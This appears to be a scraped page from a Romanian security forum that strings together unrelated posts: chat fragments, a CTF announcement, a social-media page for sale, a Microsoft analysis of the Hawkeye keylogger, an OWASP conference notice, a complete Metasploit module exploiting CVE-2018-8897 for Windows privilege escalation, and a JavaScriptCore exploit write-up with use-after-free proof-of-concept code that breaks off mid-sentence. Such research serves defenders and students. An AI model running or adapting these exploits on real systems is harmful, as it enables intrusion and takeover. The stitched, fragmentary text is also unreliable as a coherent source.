Leaderboard

Iti pot trimite invitatie failist doar pe Robert_mafiotu_96@yahoo.com - e ok asa?

Vezi pe Robert_mafiotu_98@yahoo.com

Doamne isuse hristoase, fiul lui dumnezeu, miluieste-ma pe mine pacatosul

<Registration Deadline> < !-- JUL 28 10：00 AM, 2018 -- > <Qualification> Online Jeopardy (All challenges are built on top of real world applications) JUL 28 10:00 AM ~ JUL 30 10:00 AM, 2018(GMT+8, 48 hours) <Final> Onsite Jeopardy (All challenges are built on top of real world applications) SEP 15 ~ SEP 18, 2018 (GMT+8, 48 hours) Venue: TBC, China Top 20 international teams (5 players per team) from the qualification round will be invited to participate in the on-site CTF Finals. We will see the world's best teams competing for the 2018 REAL WORLD CTF Championship. Link: https://realworldctf.com/

@ Toti copiii cu Havij si SQLi in situri de CS 1.6: ACUM e sansa voastra !!!

Fiule, dacă vei primi cuvintele mele, dacă vei păstra cu tine învăţăturile mele, dacă vei lua aminte la înţelepciune şi dacă-ţi vei pleca inima la pricepere, dacă vei cere înţelepciune şi dacă te vei ruga pentru pricepere, dacă o vei căuta ca argintul şi vei umbla după ea ca după o comoară, atunci vei înţelege frica de Domnul şi vei găsi cunoştinţa lui Dumnezeu. Căci Domnul dă înţelepciune; din gura Lui iese cunoştinţă şi pricepere.

Suferi rau..

Am rezolvat cu Turr caruia ii mulyunesc frumos,dar vreau sa multumesc si celorlalti care au dorit sa ma ajute.

Vezi asta: https://stackoverflow.com/questions/13102045/scanner-is-skipping-nextline-after-using-next-or-nextfoo

Vand o pagina de facebook pentru jocul "Fortnite - Battle Royale", aceasta are un numar de 6.000 de like-uri. Pagina a crescut natural si inca este in crestere, aceasta obtine in jur de 50-150 de like-uri pe saptamana fara a se posta ceva pe ea. Pe pagina am cateva postari de succes care au ajuns si la 500.000 impact, postari care au avut si peste 20.000 de comentarii, etc. Cele mai multe aprecieri sunt din America si sexul de peste 90% este masculin. Aici va pun la dispozitie cateva printscreen-uri de pe pagina, cu statistici si alte infromatii, nu am stiut exact la ce este nevoie sa fac printscreen, daca nu sunt toate informatiile necesare imi cer scuze: https://imgur.com/a/QOw4fqa Ofer bonus un canal de youtube care are aproximativ 100.000 vizionari si un grup de facebook tot pentru acest joc. Grupul are 400+ membrii si este legat de pagina si detalii despre canalul de youtube: https://imgur.com/a/nFPLrhG Toate acestea le vand la pachet pentru ca toate apartin de acleasi joc si au fost crescute impreuna. Pretul este de 100 de euro pentru tot pachetul, cer acest pret pentru ca pagina chiar are potential plus canalul de youtube si grupul de facebook. Nu pot posta in categoria de marketing si daca acest topic nu-si are rostul in aceasta categorie, rog un administrator sa-l mute in marketing.

Hawkeye Keylogger – Reborn v8: An in-depth campaign analysis July 11, 2018 Office 365 Threat Research in Microsoft 365, Office 365 Advanced Threat Protection, Windows Defender Advanced Threat Protection, Endpoint Security, Threat Protection, Research Much of cybercrime today is fueled by underground markets where malware and cybercriminal services are available for purchase. These markets in the deep web commoditize malware operations. Even novice cybercriminals can buy malware toolkits and other services they might need for malware campaigns: encryption, hosting, antimalware evasion, spamming, and many others. Hawkeye Keylogger is an info-stealing malware that’s being sold as malware-as-a-service. Over the years, the malware authors behind Hawkeye have improved the malware service, adding new capabilities and techniques. It was last used in a high-volume campaign in 2016. This year marked the resurgence of Hawkeye. In April, malware authors started peddling a new version of the malware that they called Hawkeye Keylogger – Reborn v8. Not long after, on April 30, Office 365 Advanced Threat Protection (Office 365 ATP) detected a high-volume campaign that distributed the latest variants of this keylogger. At the onset, Office 365 ATP blocked the email campaign and protected customers, 52% of whom are in the software and tech sector. Companies in the banking (11%), energy (8%), chemical (5%), and automotive (5%) industries are also among the top targets Figure 1. Top industries targeted by the April 2018 Hawkeye campaign Office 365 ATP uses intelligent systems that inspect attachments and links for malicious content to protect customers against threats like Hawkeye in real time. These automated systems include a robust detonation platform, heuristics, and machine learning models. Office 365 ATP uses intelligence from various sensors, including multiple capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP). Windows Defender AV (a component of Windows Defender ATP) detected and blocked the malicious attachments used in the campaign in at least 40 countries. United Arab Emirates accounted for 19% of these file encounters, while the Netherlands (15%), the US (11%), South Africa (6%) and the UK (5%) make the rest of the top 5 countries that saw the lure documents used in the campaign. A combination of generic and heuristic protections in Windows Defender AV (TrojanDownloader:O97M/Donoff, Trojan:Win32/Tiggre!rfn, Trojan:Win32/Bluteal!rfn, VirTool:MSIL/NetInject.A) ensured these threats are blocked in customer environments. Figure 2. Top countries that encountered malicious documents used in the Hawkeye campaign As part of our job to protect customers from malware attacks, Office 365 ATP researchers monitor malware campaigns like Hawkeye and other developments in the cybercriminal landscape. Our in-depth investigation into malware campaigns like Hawkeye and many others adds to the vast threat intelligence we get from the Microsoft Intelligent Security Graph, which enables us to continuously raise the bar in security. Through the Intelligent Security Graph, security technologies in Microsoft 365 share signals and detections, allowing these technologies to automatically update protection and detection mechanisms, as well as orchestrate remediation across Microsoft 365. Figure 3. Microsoft 365 threat protection against Hawkeye Campaign overview Despite its name, Hawkeye Keylogger – Reborn v8 is more than a common keylogger. Over time, its authors have integrated various modules that provide advanced functionalities like stealth and detection evasion, as well as credential theft and more. Malware services like Hawkeye are advertised and sold in the deep web, which requires anonymity networks like Tor to access, etc. Interestingly, the Hawkeye authors advertised their malware and even published tutorial videos on a website on the surface web (that has since been taken down). Even more interesting, based on underground forums, it appears the malware authors have employed intermediary resellers, an example of how cybercriminal underground business models expand and evolve. Our investigation into the April 2018 Hawkeye campaign shows that the cybercriminals have been preparing for the operation since February, when they registered the domains they later used in the campaign. Typical of malware campaigns, the cybercriminals undertook the following steps: Built malware samples and malware configuration files using a malware builder they acquired from the underground Built weaponized documents to be used a social engineering lure (possibly by using another tool bought in the underground) Packed or obfuscated the samples (using a customized open-source packer) Registered domains for delivery of malware Launched a spam campaign (possibly using a paid spam service) to distribute the malware Like other malware toolkits, Hawkeye comes with an admin panel that cybercriminals use to monitor and control the attack. Figure 4: Hawkeye’s admin panel Interestingly, some of the methods used in this Hawkeye campaign are consistent with previous attacks. This suggests that the cybercriminals behind this campaign may be the same group responsible for malware operations that delivered the remote access tool (RAT) Remcos and the info-stealing bot malware Loki. The following methods were used in these campaigns: Multiple documents that create a complicated, multi-stage delivery chain Redirections using shortened bit.ly links Use of malicious macro, VBScript, and PowerShell scripts to run the malware; the Remcos campaign employed an exploit for CVE-2017-0199 but used the same domains Consistent obfuscation technique across multiple samples Point of entry In late April, Office 365 ATP analysts spotted a new spam campaign with the subject line RFQ-GHFD456 ADCO 5647 deadline 7th May carrying a Word document attachment named Scan Copy 001.doc. While the attachment’s file name extension was .doc, it was in fact a malicious Office Open XML format document, which usually uses a .docx file name extension. In total, the campaign used four different subject lines and five attachments. Figure 5: Sample emails used in the Hawkeye campaign Because the attachment contains malicious code, Microsoft Word opens with a security warning. The document uses a common social engineering lure: it displays a fake message and an instruction to “Enable editing” and “Enable content”. Figure 6: The malicious document with social engineering lure The document contains an embedded frame that connects to a remote location using a shortened URL. Figure 7: frame in settings.rels.xml on the document The frame loads an .rtf file from hxxp://bit[.]ly/Loadingwaitplez, which redirects to hxxp://stevemike-fireforce[.]info/work/doc/10.doc. Figure 8: RTF loaded as a frame inside malicious document The RTF has an embedded malicious .xlsx file with macro as an OLE object, which in turn contains a stream named PACKAGE that contains the .xlsx contents. The macro script is mostly obfuscated, but the URL to the malware payload is notably in plaintext. Figure 9: Obfuscated macro entry point De-obfuscating the entire script makes its intention clear. The first section uses PowerShell and the System.Net.WebClient object to download the malware to the path C:\Users\Public\svchost32.exe and execute it. The macro script then terminates both winword.exe and excel.exe. In specific scenarios where Microsoft Word overrides default settings and is running with administrator privileges, the macro can delete Windows Defender AV’s malware definitions. It then changes the registry to disable Microsoft Office’s security warnings and safety features. In summary, the campaign’s delivery comprises of multiple layers of components that aim to evade detection and possibly complicate analysis by researchers. Figure 10: The campaign’s delivery stages The downloaded payload, svchost32.exe, is a .NET assembly named Millionare that is obfuscated using a custom version of ConfuserEx, a well-known open-source .NET obfuscator. Figure 11: Obfuscated .NET assembly Millionare showing some of the scrambled names The obfuscation modifies the .NET assembly’s metadata such that all the class and variable names are non-meaningful and scrambled names in Unicode. This obfuscation causes some analysis tools like .NET Reflector to show some namespaces or classes names as blank, or in some cases, display parts of the code backwards. Figure 12: .NET Reflector presenting the code backwards due to obfuscation Finally, the .NET binary loads an unpacked .NET assembly, which includes DLL files embedded as resources in the portable executable (PE). Figure 13: Loading the unpacked .NET assembly during run-time Malware loader The DLL that initiates the malicious behavior is embedded as a resource in the unpacked .NET assembly. It is loaded in memory using process hollowing, a code injection technique that involves spawning a new instance of a legitimate process and then “hollowing it out”, i.e., replacing the legitimate code with malware. Figure 14: In-memory unpacking of the malware using process hollowing. Unlike previous Hawkeye variants (v7), which loaded the main payload into its own process, the new Hawkeye malware injects its code into MSBuild.exe, RegAsm.exe, and VBC.exe, which are signed executables that ship with .NET framework. This is an attempt to masquerade as a legitimate process. Figure 15: Obfuscated calls using .NET reflection to perform process hollowing injection routine that injects the malware’s main payload into RegAsm.exe Additionally, in the previous version, the process hollowing routine was written in C. In the new version, this routine is completely rewritten as a managed .NET that calls the native Windows API. Figure 16: Process hollowing routine implemented in .NET using native API function calls Malware functionalities The new Hawkeye variants created by the latest version of the malware toolkit have multiple sophisticated functions for information theft and evading detection and analysis. Information theft The main keylogger functionality is implemented using hooks that monitor key presses, as well as mouse clicks and window context, along with clipboard hooks and screenshot capability. It has specific modules for extracting and stealing credentials from the following applications: Beyluxe Messenger Core FTP FileZilla Minecraft (replaced the RuneScape module in previous version) Like many other malware campaigns, it uses the legitimate BrowserPassView and MailPassView tools to dump credentials from the browser and email client. It also has modules for taking screenshots of the desktop, as well as the webcam, if it exists. Notably, the malware has a mechanism to visit certain URLs for click-based monetization. Stealth and anti-analysis On top of the processes hollowing technique, this malware uses other methods for stealth, including alternate data streams that remove mark of the web (MOTW) from the malware’s downloaded files. This malware can be configured to delay execution by any number of seconds, a technique used mainly to avoid detection by various sandboxes. It prevents antivirus software from running using an interesting technique. It adds keys to the registry location HKLM\Software\Windows NT\Current Version\Image File Execution Options and sets the Debugger value for certain processes to rundll32.exe, which prevents execution. It targets the following processes related to antivirus and other security software: AvastSvc.exe AvastUI.exe avcenter.exe avconfig.exe avgcsrvx.exe avgidsagent.exe avgnt.exe avgrsx.exe avguard.exe avgui.exe avgwdsvc.exe avp.exe avscan.exe bdagent.exe ccuac.exe ComboFix.exe egui.exe hijackthis.exe instup.exe keyscrambler.exe mbam.exe mbamgui.exe mbampt.exe mbamscheduler.exe mbamservice.exe MpCmdRun.exe MSASCui.exe MsMpEng.exe msseces.exe rstrui.exe spybotsd.exe wireshark.exe zlclient.exe Further, it blocks access to certain domains that are usually associated with antivirus or security updates. It does this by modifying the HOSTS file. The list of domains to be blocked is determined by the attacker using a config file. This malware protects its own processes. It blocks the command prompt, registry editor, and task manager. It does this by modifying registry keys for local group policy administrative templates. It also constantly checks active windows and renders action buttons unusable if the window title matches “ProcessHacker”, “Process Explorer”, or “Taskmgr”. Meanwhile, it prevents other malware from infecting the machine. It repeatedly scans and removes any new values to certain registry keys, stops associated processes, and deletes related files. Hawkeye attempts to avoid automated analysis. The delay in execution is designed to defeat automated sandbox analysis that allots only a certain time for malware execution and analysis. It likewise attempts to evade manual analysis by monitoring windows and exiting when it finds the following analysis tools: Sandboxie Winsock Packet Editor Pro Wireshark Defending mailboxes, endpoints, and networks against persistent malware campaigns Hawkeye illustrates the continuous evolution of malware in a threat landscape fueled by the cybercriminal underground. Malware services make malware accessible to even unsophisticated operators, while simultaneously making malware more durable with advanced techniques like in-memory unpacking and abuse of .NET’s CLR engine for stealth. In this blog we covered the capabilities of its latest version, Hawkeye Keylogger – Reborn v8, highlighting some of the enhancements from the previous version. Given its history, Hawkeye is likely to release a new version in the future. Organizations should continue educating their employees about spotting and preventing social engineering attacks. After all, Hawkeye’s complicated infection chain begins with a social engineering email and lure document. A security-aware workforce will go a long way in securing networks against attacks. More importantly, securing mailboxes, endpoints, and networks using advanced threat protection technologies can prevent attacks like Hawkeye, other malware operations, and sophisticated cyberattacks. Our in-depth analysis of the latest version and our insight into the cybercriminal operation that drives this development allow us to proactively build robust protections against both known and unknown threats. Office 365 Advanced Threat Protection (Office 365 ATP) protects mailboxes as well as files, online storage, and applications from malware campaigns like Hawkeye. It uses a robust detonation platform, heuristics, and machine learning to inspect attachments and links for malicious content in real-time, ensuring that emails that carry Hawkeye and other threats don’t reach mailboxes and devices. Learn how to add Office 365 ATP to existing Exchange or Office 365 plans. Windows Defender Antivirus (Windows Defender AV) provides an additional layer of protection by detecting malware delivered through email, as well as other infection vectors. Using local and cloud-based machine learning, Windows Defender AV’s next-gen protection can block even new and unknown threats on Windows 10 and Windows 10 in S mode. Additionally, endpoint detection and response (EDR) capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP) expose sophisticated and evasive malicious behavior, such as those used by Hawkeye. Sign up for free Windows Defender ATP trial. Windows Defender ATP’s rich detection libraries are powered by machine learning and allows security operations teams to detect and respond to anomalous attacks in the network. For example, machine learning detection algorithms surface the following alert when Hawkeye uses a malicious PowerShell to download the payload: Figure 16: Windows Defender ATP alert for Hawkeye’s malicious PowerShell component Windows Defender ATP also has behavior-based machine learning algorithms that detect the payload itself: Figure 17: Windows Defender ATP alert for Hawkeye’s payload These security technologies are part of the advanced threat protection solutions in Microsoft 365. Enhanced signal sharing across services in Windows, Office 365, and Enterprise Mobility + Security through the Microsoft Intelligent Security Graph enables the automatic update of protections and orchestration of remediation across Microsoft 365. Office 365 ATP Research Indicators of Compromise (Ioc) Email subject lines {EXT} NEW ORDER ENQUIRY #65563879884210# B/L COPY FOR SHIPMENT Betreff: URGENT ENQ FOR Equipment RFQ-GHFD456 ADCO 5647 deadline 7th May Attachment file names Betreff URGENT ENQ FOR Equipment.doc BILL OF LADING.doc NEW ORDER ENQUIRY #65563879884210#.doc Scan Copy 001.doc Swift Copy.doc Domains lokipanelhostingpanel[.]gq stellarball[.]com stemtopx[.]com stevemike-fireforce[.]info Shortened redirector links hxxp://bit[.]ly/ASD8239ASdmkWi38AS (was also used in a Remcos campaign) hxxp://bit[.l]y/loadingpleaswaitrr hxxp://bit[.l]y/Loadingwaitplez Files (SHA-256) d97f1248061353b15d460eb1a4740d0d61d3f2fcb41aa86ca6b1d0ff6990210a – .eml 23475b23275e1722f545c4403e4aeddf528426fd242e1e5e17726adb67a494e6 – .eml 02070ca81e0415a8df4b468a6f96298460e8b1ab157a8560dcc120b984ba723b – .eml 79712cc97a19ae7e7e2a4b259e1a098a8dd4bb066d409631fb453b5203c1e9fe – .eml 452cc04c8fc7197d50b2333ecc6111b07827051be75eb4380d9f1811fa94cbc2 – .eml 95511672dce0bd95e882d7c851447f16a3488fd19c380c82a30927bac875672a – .eml 1b778e81ee303688c32117c6663494616cec4db13d0dee7694031d77f0487f39 – .eml 12e9b955d76fd0e769335da2487db2e273e9af55203af5421fc6220f3b1f695e – .eml 12f138e5e511f9c75e14b76e0ee1f3c748e842dfb200ac1bfa43d81058a25a28 – .eml 9dfbd57361c36d5e4bda9d442371fbaa6c32ae0e746ebaf59d4ec34d0c429221 – .docx (stage 1) f1b58fd2bc8695effcabe8df9389eaa8c1f51cf4ec38737e4fbc777874b6e752 – .rtf (stage 2) 5ad6cf87dd42622115f33b53523d0a659308abbbe3b48c7400cc51fd081bf4dd – .doc 7db8d0ff64709d864102c7d29a3803a1099851642374a473e492a3bc2f2a7bae – .rtf 01538c304e4ed77239fc4e31fb14c47604a768a7f9a2a0e7368693255b408420 – .rtf d7ea3b7497f00eec39f8950a7f7cf7c340cf9bf0f8c404e9e677e7bf31ffe7be – .vbs ccce59e6335c8cc6adf973406af1edb7dea5d8ded4a956984dff4ae587bcf0a8 – .exe (packed) c73c58933a027725d42a38e92ad9fd3c9bbb1f8a23b3f97a0dd91e49c38a2a43 – .exe (unpacked) *Updated 07/12/18 (Removed statement that Hawkeye Keylogger is also known as iSpy Keylogger Sursa: https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük <can1357>', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit', 3]) ]) end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit begin validate_active_host validate_target validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end Sursa: https://www.exploit-db.com/exploits/45024/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter

OWASP Bucharest AppSec Conference 2018 - October 25th - 26th OWASP Bucharest team is happy to announce the OWASP Bucharest AppSec Conference 2018 a two days Security and Hacking Conference with additional training days dedicated to the application security. It will take place between 25th and 26th of October, 2018 - Bucharest, Romania. The objective of the OWASP's Bucharest AppSec Conference is to raise awareness about application security and to bring high-quality security content provided by renowned professionals in the European region. Everyone is free to participate in OWASP and all our materials are available under a free and open software license. Call for papers is now open! Please submit here your talk proposal Call for trainings is now open! Please submit here your training proposal Important dates Call for papers deadline: 24th of September Call for trainings deadline 24th of September The final agenda will be published after 1st of October 2018 CTF qualifiers will be on 29th of September CTF final will be on 25th of September Conference trainings and CTF day is 25th of October 2018 Conference presentation tracks and workshops day is 26th of October 2018 Who Should Attend? Application Developers Application Testers and Quality Assurance Application Project Management and Staff Chief Information Officers, Chief Information Security Officers, Chief Technology Officers, Deputies, Associates and Staff Chief Financial Officers, Auditors, and Staff Responsible for IT Security Oversight and Compliance Security Managers and Staff Executives, Managers, and Staff Responsible for IT Security Governance IT Professionals interested in improving IT Security Anyone interested in learning about or promoting Web Application Security CONFERENCE (Friday 26th of October) Date Location Friday 26th of October, 8.00 AM Venue Location: Hotel Caro Workshops: Hotel Caro Venue Address: 164A Barbu Vacarescu Blvd. 2nd District, 020285 Bucharest, Romania Price and registration The conference entrance is FREE, you need to register on the link provided below, print your ticket and present it at the entrance. The training sessions will be paid. The workshops and CTF attendance is free of charge Registration Limited number of seats! Detalii: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2018

Weaponization of a JavaScriptCore Vulnerability Illustrating the Progression of Advanced Exploit Primitives In Practice July 11, 2018 / Nick Burnett, Patrick Biernat, Markus Gaasedelen Software bugs come in many shapes and sizes. Sometimes, these code defects (or ‘asymmetries’) can be used to compromise the runtime integrity of software. This distinction is what helps researchers separate simple reliability issues from security vulnerabilities. At the extreme, certain vulnerabilities can be weaponized by meticulously exacerbating such asymmetries to reach a state of catastrophic software failure: arbitrary code execution. In this post, we shed some light on the process of weaponizing a vulnerability (CVE-2018-4192) in the Safari Web Browser to achieve arbitrary code execution from a single click of an unsuspecting victim. This is the most frequently discussed topic of the exploit development lifecycle, and the fourth post in our Pwn2Own 2018 series. A weaponized version of CVE-2018-4192, executing arbitrary code against JavaScriptCore in early 2018 If you haven’t been following along, you can read about how we discovered this vulnerability, followed by a walkthrough of its root cause analysis. The very first post of this series provides a top level discussion of the full exploit chain. Exploit Primitives While developing exploits against hardened or otherwise complex software, it is often necessary to use one or more vulnerabilities to build what are known as ‘exploit primitives’. In layman’s terms, a primitive refers to an action that an attacker can perform to manipulate or disclose the application runtime (eg, memory) in an unintended way. As the building blocks of an exploit, primitives are used to compromise software integrity or bypass modern security mitigations through advanced (often arbitrary) modifications of runtime memory. It is not uncommon for an exploit to string together multiple primitives towards the ultimate goal of achieving arbitrary code execution. The metamorphosis of software vulnerabilities, by Joe Bialek & Matt Miller (Slides 6-10) In the general case, it is impractical (if not impossible) to defend real world applications against an attacker who can achieve an ‘Arbitrary Read/Write’ primitive. Arbitrary R/W implies an attacker can perform any number of reads or writes to the entire address space of the application’s runtime memory. While extremely powerful, an arbitrary R/W is a luxury and not always feasible (or necessary) for an exploit. But when present, it is widely recognized as the point from which total compromise (arbitrary code execution) is inevitable. Layering Primitives From an educational perspective, the JavaScriptCore exploit that we developed for Pwn2Own 2018 is a great illustration of what layering increasingly powerful primitives looks like in practice. Starting from the discovered vulnerability, we have broken our JSC exploit down into approximately six different phases from which we nurtured each of our exploit primitives from: Forcefully free a JSArray butterfly using our race condition vulnerability (UAF) Employ the freed butterfly to gain a relative Read/Write (R/W) primitive Create generic addrof(...) and fakeobj(...) exploit primitives using the relative R/W Use generic exploit primitives to build an arbitrary R/W primitive from a faked TypedArray Leverage our arbitrary R/W primitive to overwrite a Read/Write/Execute (RWX) JIT Page Execute arbitrary code from said JIT Page Each of these steps required us to study a number of different JavaScriptCore internals, learned through careful review of the WebKit source code, existing literature, and hands-on experimentation. We will cover some of these internals in this post, but mostly in the context of how they were leveraged to build our exploit primitives. UAF Target Selection From the last post, we learned that the discovered race condition could be used to prematurely free any type of JS object by putting it in an array, and calling array.reverse() at a critical moment. This can create a malformed runtime state in which a freed object may continue to be used in what is called ‘Use-After-Free’ (UAF). We can think of this ability to incorrectly free arbitrary JS objects (or their internal allocations) as a class-specific exploit primitive against JSC. The next step would be to identify an interesting object to target (and free). In exploit development, array-like structures that maintain an internal ‘length’ field are attractive to attackers. If a malicious actor can corrupt these dynamic length fields, they are often able to index the array far outside of its usual bounds, creating a more powerful exploit primitive. Corrupting a length field in an array-like structure can allow for Out-of-Bounds array manipulations Within JavaScriptCore, a particularly interesting and accessible construct that matches the pattern depicted above is the backing butterfly of a JSArray object. The butterfly is a structure used by JSC to store JS object properties and data (such as array elements), but it also maintains a length field to bound user access to its storage. As an example, the following gdb dump + diagram shows a JSArray with its backing store (a butterfly) that we have filled with floats (represented by 0x4141414141414141 …). The green fields depict the internally managed size fields of the backing butterfly: Dumping a JSArray, and depicting the relationship with its backing butterfly From the Phrack article Attacking JavaScript Engines (Section 1.2), Saleo describes butterflies in greater detail: “Internally, JSC stores both [JS object] properties and elements in the same memory region and stores a pointer to that region in the object itself. This pointer points to the middle of the region, properties are stored to the left of it (lower addresses) and elements to the right of it. There is also a small header located just before the pointed to address that contains the length of the element vector. This concept is called a “Butterfly” since the values expand to the left and right, similar to the wings of a butterfly.” In the next section, we will attempt to forcefully free a butterfly using our vulnerability. This will leave a dangling butterfly pointer within a live JSArray, prone to malicious re-use (UAF). Forcing a Useful UAF Due to the somewhat chaotic nature of our race-condition, we will want to start our exploit (written in JavaScript) by constructing a top level array that contains a large number of simple ‘float arrays’ to better our chances of freeing at least one of them (eg, ‘winning the race’😞 print("Initializing arrays..."); var someArray1 = Array(1024); for (var i = 0; i < someArray1.length; i++) someArray1[i] = new Array(128).fill(2261634.5098039214) // 0x41414141… ... Note that the use of floats are somewhat common in browser exploits because they are one of the few native 64bit JS types. It allows one to read or write arbitrary 64bit values (contiguously) to the backing array butterfly which will be more relevant later on in this post. With our target arrays allocated as elements of someArray1, we attempt to trigger the race condition through repeated use of array.reverse(), and stimulation of the GC (to help schedule mark-and-sweeps): ... print("Starting race..."); v = [] for (var i = 0; i < 506; i++) { for(var j = 0; j < 0x20; j++) someArray1.reverse() v.push(new String("C").repeat(0x10000)) // stimulate the GC } ... If successful, we expect to have freed one or more of the backing butterflies used by the float arrays stored within someArray1. Visually, our results will look something like this: The race condition will free free some butterflies on the heap, while leaving their JSArray cells intact While driving the race condition, the JSArray v will eventually grow its backing butterfly (through pushes) such that its backing butterfly can get allocated over some of the freed butterfly allocations. The backing butterfly for \'v\' should eventually get re-allocated over some of the freed butterflies To confirm this hypothesis, we can inspect all the lengths of arrays we targeted with our race condition. If successful, we expect to find one or more arrays with an abnormal length. This is an indication that the butterfly has been freed, and it is now a dangling pointer into memory owned by a new object (specifically, v) ... print("Checking for abnormal array lengths..."); for (var i = 0; i < someArray1.length; i++) { if(someArray1[i].length == 128) // ignore arrays of expected length... continue; print('len: 0x' + someArray1[i].length.toString(16)); } The snippets provided in this section make up a new Proof-of-Concept (PoC) called x.js. Running this short script a few times, it can be observed that the vulnerability is pretty reliably reporting multiple JSArrays with abnormal lengths. This is evidence that the backing butterflies for some of our arrays have been freed through the race condition, losing ownership of their underlying data (which now belongs to v). The PoC prints abnormal array lengths found during each run, implying potentially unbounded (malformed) arrays Explicitly, we have used the race condition to force a UAF of one or more (random) JSArray butterflies, and now the dangling butterfly pointers are pointing at unknown data. We have used our race condition to overlay a larger (living) allocation v with one or more freed butterflies. From this point, it is easy to demonstrate full control over the ‘abnormal’ array lengths teased above to achieve what is known as a ‘relative R/W’ exploit primitive. Relative R/W Primitive By filling the larger overlayed butterfly v with arbitrary data (in this case, floats), we are able to inadvertently set the ‘length’ property pointed at by one or more of the freed JSArray butterflies. The code for this is only one additional line inserted into our PoC (v.fill(...)). Putting it all together, this is approximately what we have sketched out so far: print("Initializing arrays..."); var someArray1 = Array(1024); for (var i = 0; i < someArray1.length; i++) someArray1[i] = new Array(128).fill(2261634.5098039214) // 0x41414141... print("Starting race..."); v = [] for (var i = 0; i < 506; i++) { for(var j = 0; j < 0x20; j++) someArray1.reverse() v.push(new String("C").repeat(0x10000)) // stimulate the GC } print("Filling overlapping butterfly with 0x42424242..."); v.fill(156842099844.51764) print("Checking for abnormal array lengths..."); for (var i = 0; i < someArray1.length; i++) { if(someArray1[i].length == 128) // ignore arrays of expected length... continue; print('len: 0x' + someArray1[i].length.toString(16)); } Executing this new PoC a few times, we reliably see multiple arrays claiming to have an array length of 0x42424242. A corrupted or otherwise radically incorrect array length should be alarming to any developer. The PoC reliably printing multiple arrays with an attacker-controlled (unbounded) length These ‘malformed’ (dangling) array butterflies are no longer bounded by a valid length. By pulling one of these malformed JSArray objects out of someArray1 and using them as one normally would, we can now index far past their ‘expected’ 